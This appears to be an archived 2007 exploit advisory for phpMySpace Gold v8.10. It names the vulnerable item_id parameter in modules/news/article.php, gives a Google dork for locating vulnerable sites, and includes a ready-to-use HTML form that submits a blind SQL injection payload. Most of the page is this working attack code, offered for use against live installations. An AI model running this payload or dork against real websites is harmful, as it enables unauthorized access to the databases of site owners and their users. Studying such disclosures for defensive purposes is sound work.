phpMySpace Gold (v8.10) - Blind SQL/XPath Injection Exploit

🗓️ 26 Apr 2007 00:00:00Reported by RootType

phpMySpace Gold (v8.10) Blind SQL/XPath Injection Exploi


                                                &lt;!--

phpMySpace&nbsp;Gold&nbsp;(v8.10)&nbsp;-&nbsp;Blind&nbsp;SQL/XPath&nbsp;Injection&nbsp;Exploit

Vulnerable&nbsp;Variable:&nbsp;item_id
Vulnerable&nbsp;File:&nbsp;modules/news/article.php
Vulnerable:&nbsp;phpMySpace&nbsp;Gold&nbsp;v8.10&nbsp;(other&nbsp;versions&nbsp;should&nbsp;also&nbsp;be&nbsp;vulnerable)
Google&nbsp;d0rk:&nbsp;&quot;Powered&nbsp;by&nbsp;phpMySpace&nbsp;Gold&nbsp;8.10&quot;

John&nbsp;Martinelli
[email protected]
http://john-martinelli.com

April&nbsp;22nd,&nbsp;2007

!--&gt;

&lt;html&gt;
&lt;head&gt;&lt;title&gt;phpMySpace&nbsp;Gold&nbsp;(v8.10)&nbsp;-&nbsp;Blind&nbsp;SQL/XPath&nbsp;Injection&nbsp;Exploit&lt;/title&gt;&lt;body&gt;

&lt;center&gt;&lt;br&gt;&lt;br&gt;&lt;font&nbsp;size=4&gt;phpMySpace&nbsp;Gold&nbsp;(v8.10)&nbsp;-&nbsp;Blind&nbsp;SQL/XPath&nbsp;Injection&nbsp;Exploit&lt;/font&gt;&lt;br&gt;&lt;font&nbsp;size=3&gt;discovered&nbsp;by&nbsp;&lt;a&nbsp;href=&quot;http://john-martinelli.com&quot;&gt;John&nbsp;Martinelli&lt;/a&gt;&lt;br&gt;&lt;br&gt;Google&nbsp;d0rk:&nbsp;&lt;a&nbsp;href=&quot;http://www.google.com/search?q=+%22Powered+by+phpMySpace+Gold+8.10%22&quot;&gt;&amp;quot;Powered&nbsp;by&nbsp;Ripe&nbsp;Website&nbsp;Manager&amp;quot;&lt;/a&gt;&lt;/font&gt;&lt;br&gt;

&lt;br&gt;&lt;br&gt;
&lt;form&nbsp;action=&quot;http://www.example.com/path/modules/news/article.php&quot;&nbsp;method=&quot;get&quot;&gt;
&lt;input&nbsp;name=&quot;mode&quot;&nbsp;type=&quot;hidden&quot;&nbsp;value=&quot;0&quot;&gt;
&lt;input&nbsp;name=&quot;order&quot;&nbsp;type=&quot;hidden&quot;&nbsp;value=&quot;0&quot;&gt;
&lt;input&nbsp;name=&quot;item_id&quot;&nbsp;size=75&nbsp;value=&quot;1&amp;quot;&nbsp;AND&nbsp;&amp;quot;1&amp;quot;=&amp;quot;0&quot;&gt;
&lt;input&nbsp;type=submit&nbsp;value=&quot;Execute&nbsp;SQL&nbsp;Injection&quot;&nbsp;class=&quot;button&quot;&gt;
&lt;/form&gt;

&lt;/body&gt;&lt;/html&gt;

26 Apr 2007 00:00Current

7.1High risk

Vulners AI Score7.1